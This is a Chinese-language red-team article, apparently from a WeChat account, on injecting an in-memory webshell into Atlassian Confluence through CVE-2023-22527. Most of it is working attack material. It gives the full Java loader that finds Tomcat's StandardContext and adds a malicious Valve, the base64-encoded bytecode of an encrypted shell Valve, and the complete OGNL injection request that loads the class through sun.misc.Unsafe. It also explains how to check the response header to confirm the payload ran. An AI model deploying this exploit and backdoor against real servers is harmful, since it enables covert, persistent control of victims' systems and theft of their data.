免责声明:
本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。
想必过年前各位师傅都已经闲下来,数着日子过年了。最近朋友圈已经被帕鲁刷屏了,相比之下,安全圈最近的顶流一定是CVE-2023-22527了吧,随着漏洞poc的披露,大家也已经会用放出来的poc在响应包拿到命令回显了。但是对于一个RT来说,这个shell很难进一步利用,confluence用户的权限很低,所以需要注入内存马再进行进一步的操作。
和常规的内存马一样,我们需要解决的是回显问题和如何将class加载进去。由于confluence使用的是高版本JDK我们无法直接使用当前线程的contextClassLoader去反射调用defineClass方法,那么如何加载恶意类早在CVE-2021-26084这个漏洞的时候已经有师傅提出了,在JDK9-11中借助unsafe类中的defineAnonymousClass方法。
至于回显,我们参考https://xz.aliyun.com/t/9914这遍文章,利用Acceptor的线程获取上下文的方式可以获取。
Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。
defineAnonymousClass 方法可以创建一个不被虚拟机以及系统字典所知的类。
public Class defineAnonymousClass(Class hostClass, byte[] data, Object[] cpPatches) {
if (hostClass == null || data == null) {
throw new NullPointerException();
}
if (hostClass.isArray() || hostClass.isPrimitive()) {
throw new IllegalArgumentException();
}
return defineAnonymousClass0(hostClass, data, cpPatches);
}
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Iterator;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardHost;
public class ConfluenceMemshell {
String uri;
String serverName;
Object standardContext;
String valveString;
public Object getField(Object object, String fieldName) {
Class clazz = object.getClass();
while (clazz != Object.class) {
try {
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception var6) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public ConfluenceMemshell() throws Exception {
Class pipClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
Object standardContext = getStandardContext();
Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
Thread[] var5 = threads;
int var6 = threads.length;
for (int var7 = 0; var7 < var6; var7++) {
Thread thread = var5[var7];
if (thread != null && !thread.getName().contains("exec")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
Object object;
try {
object = getField(getField(getField(target, "this$0"), "handler"), "global");
} catch (Exception var27) {}
if (object != null) {
ArrayList processors = (ArrayList)getField(object, "processors");
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
Object req = getField(next, "req");
Object serverPort = getField(req, "serverPort");
if (!serverPort.equals(Integer.valueOf(-1))) {
Object serverNameMB = getField(req, "serverNameMB");
this.serverName = (String)getField(serverNameMB, "strValue");
Object uriMB = getField(req, "decodedUriMB");
this.uri = (String)getField(uriMB, "strValue");
this.standardContext = getStandardContext();
String valveString = "yv66vgAAADQBCAoAUQBvCABwCQBQAHEIAFQJAFAAcgcAcwoABgBvCgAGAHQKAAYAdQoAUAB2CQBQAHcIAHgKAHkAegoAIAB7CgAgAHwKAHkAfQcAfgoAeQB/CgARAIAKABEAgQoAIACCBwCDCACECgAfAIUIAIYKAB8AhwcAiAoAiQCKCgAhAIsIAIwHAI0HAI4HAI8HAJAIAJEKAB8AkggAkwgAlAoAlQCWBwCXCgAoAJgKAJUAmQoAlQCaCACbCACcCACdCACeCgCfAKAIAKEKACAAogoAnwCjCgBQAKQKAFAApQkAUACmBwCnBwCoCgCpAKoKAKkAqwoANwCsBwCtCACuCQCvALAKAB8AsQoAiQCyCgCvALMHALQKAEIAbwoAIQCiCgCfALUKALYAtwoAIAC4CgC5ALoKACEAdQoAQgC7CgBQALwKACAAvQoAuQC+CgBQAL8LAMAAwQcAwgcAwwEAAnhjAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEcGFzcwEAA21kNQEAB3BheWxvYWQBABFMamF2YS9sYW5nL0NsYXNzOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAI4HAIMBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAKRXhjZXB0aW9ucwEAAXgBAAcoW0JaKVtCBwDCBwDEAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYHAMUHAMYBAApTb3VyY2VGaWxlAQANcmViZXlvbmQuamF2YQwAWABZAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAUgBTDABUAFMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAxwDIDADJAMoMAFUAXAwAVQBTAQADTUQ1BwDLDADMAM0MAM4AzwwA0ADRDADSANMBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwA1ADPDABYANUMAMkA1gwA1wDKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQMANgA2QEACmdldERlY29kZXIMANoA2wEAE1tMamF2YS9sYW5nL09iamVjdDsHANwMAGkA3QwA3gDfAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAOAA4QEADGRlY29kZUJ1ZmZlcgEAA0FFUwcAxAwAzADiAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAWADjDADkAOUMAOYA5wEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUHAOgMANoAygEABFBPU1QMAOkA6gwA6wBcDABgAGEMAGMAZAwAVgBXAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAOwMAO0A7gwA7wDwDABYAPEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcA8gwA8wBXDAD0ANsMAPUA9gwA9wD4AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAPkA+gcA+wwA/AD9DAD+AP8HAQAMAQEBAgwBAwDPDABnAGgMAP4A1gwBBABZDAEFAQYHAQcMAGkAagEACHJlYmV5b25kAQAkb3JnL2FwYWNoZS9jYXRhbGluYS92YWx2ZXMvVmFsdmVCYXNlAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADGdldFBhcmFtZXRlcgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRSZXNw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";
byte[] valveBytes = Base64.getDecoder().decode(valveString);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
defineClassMethod.setAccessible(true);
Object valveClass = defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[] { valveBytes, Integer.valueOf(0), Integer.valueOf(valveBytes.length) });
Class valve = (Class)valveClass;
Constructor valveConstructor = valve.getConstructor(new Class[0]);
valveConstructor.setAccessible(true);
Object myValve = valveConstructor.newInstance(new Object[0]);
Method getPiplineMethod = this.standardContext.getClass().getMethod("getPipeline", new Class[0]);
Object piplineObject = getPiplineMethod.invoke(this.standardContext, (Object[])null);
Method addValveMethod = piplineObject.getClass().getMethod("addValve", new Class[] { pipClass });
addValveMethod.invoke(piplineObject, new Object[] { myValve });
System.out.println("success");
}
}
}
}
}
}
}
public Object getStandardContext() throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");
String result = "";
Thread[] var4 = threads;
int var5 = threads.length;
for (int var6 = 0; var6 < var5; var6++) {
Thread thread = var4[var6];
if (thread != null) {
Object target = getField(thread, "target");
if (thread.getName().contains("StandardEngine")) {
if (target != null)
try {
this.serverName = "localhost";
HashMap children = (HashMap)getField(getField(target, "this$0"), "children");
StandardHost standardHost = (StandardHost)children.get(this.serverName);
children = (HashMap)getField(standardHost, "children");
Iteratoriterator = children.keySet().iterator();
while (iterator.hasNext()) {
String contextKey = iterator.next();
if (this.uri.startsWith(contextKey)) {
StandardContext standardContext = (StandardContext)children.get(contextKey);
return standardContext;
}
}
} catch (Exception exception) {}
} else if (thread.getName().contains("Acceptor") && thread.getName().contains("http")) {
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception exception) {}
if (jioEndPoint == null)
try {
jioEndPoint = getField(target, "endpoint");
} catch (Exception var17) {
return null;
}
Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
Object engine = getField(service, "engine");
Object children = getField(engine, "children");
Method getMethod = children.getClass().getMethod("get", new Class[] { Object.class });
Object standardHost = getMethod.invoke(children, new Object[] { "localhost" });
HashMap standardHostChildren = (HashMap)getField(standardHost, "children");
Object standardHostObject = standardHostChildren.get("");
return standardHostObject;
}
}
}
return null;
}
}
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new+javax.script.ScriptEngineManager()).getEngineByName('js').eval( .apache.struts2.ServletActionContext ().getParameter("search"))&search=var+header=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().setHeader('X-Confluence-Response-Time','0539a0fd8c1b4a4184998ad4fc9ec8e6');var+data='恶意类(base64)';var+safe=java.lang.Class.forName('sun.misc.Unsafe');var+safeCon=safe.getDeclaredField('theUnsafe');safeCon.setAccessible(true);var+unSafe=safeCon.get(null);var+dataBytes=java.util.Base64.getDecoder().decode(data);var+mem=unSafe.defineAnonymousClass(java.io.File.class,dataBytes,null);mem.newInstance();
检测返回包中X-Confluence-Response-Time头是否为0539a0fd8c1b4a4184998ad4fc9ec8e6判断是否执行成功。
原文始发于微信公众号(Lambda小队):Confluence 内存马解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论